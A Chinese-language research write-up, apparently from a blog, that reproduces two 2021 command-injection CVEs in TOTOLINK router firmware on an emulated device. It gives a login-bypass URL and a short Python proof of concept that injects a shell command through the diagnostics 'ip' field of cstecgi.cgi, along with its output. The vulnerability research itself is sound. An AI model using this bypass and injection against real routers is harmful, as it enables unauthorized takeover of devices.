本来想复现2022年的几个CVE的,逆向的时候怎么都找不到目标函数地址😤,碰巧发现了三个很有漏洞嫌疑的函数,带着激动的心情调了一晚上😍,发现其中一个没有漏洞😭,另外两个是2021的CVE😒
环境搭建
环境搭建参考了这篇博客totolink登陆跳过,分析思路
逆向分析
固件是mipsel
架构的,有符号表,但这只是冰山一角,大部分函数都未被识别,我们通过查找危险函数(system、popen
)的交叉引用来定位可能有漏洞的函数
同时通过对libshared.so
的分析,找到了两个会调用system
的函数:doSystem
和getCmdStr
查找doSystem
函数的交叉引用,基本都是未识别的函数,需要手动识别一下才能反编译,最后找到了两个漏洞函数,分别对应CVE-2021-27710
和CVE-2021-27708
很明显参数直接来源于请求,而且没有任何过滤,可以直接利用
可能是因为函数是我们手动创建的,并没有找到哪里调用了这些函数,不过一般路由器都有测试网络的功能,所以我们只要找到位置抓包就完事了
抓包分析
启动环境后,浏览器打开,需要登录
试试密码都不对,还好博客里有绕过登录的方法,直接访问 formLoginAuth.htm?authCode=1&action=login
跳过登录进入后台,找到高级功能
我们抓包后修改指令,发现可以执行并且有回显
另一个CVE只有post内容上的区别,就不赘述了
随便写个POC
import requests
base_url="http://localhost/"
ping_url=base_url+"cgi-bin/cstecgi.cgi"
cmd="ls -a;"
request_data='{"topicurl":"setDiagnosisCfg","ip":"-h;%s","num":"4"}' % (cmd)
headers={"accept":"application/json, text/javascript, */*; q=0.01","Content-type":"application/x-www-form-urlencoded; charset=UTF-8"}
response=requests.post(ping_url,data=request_data,headers=headers)
print(response.text)
.
..
.gdb_history
ExportSettings.sh
cstecgi.cgi
custom.cgi
{
"success": true,
"error": null,
"lan_ip": "",
"wtime": "0",
"reserv": "reserv"
}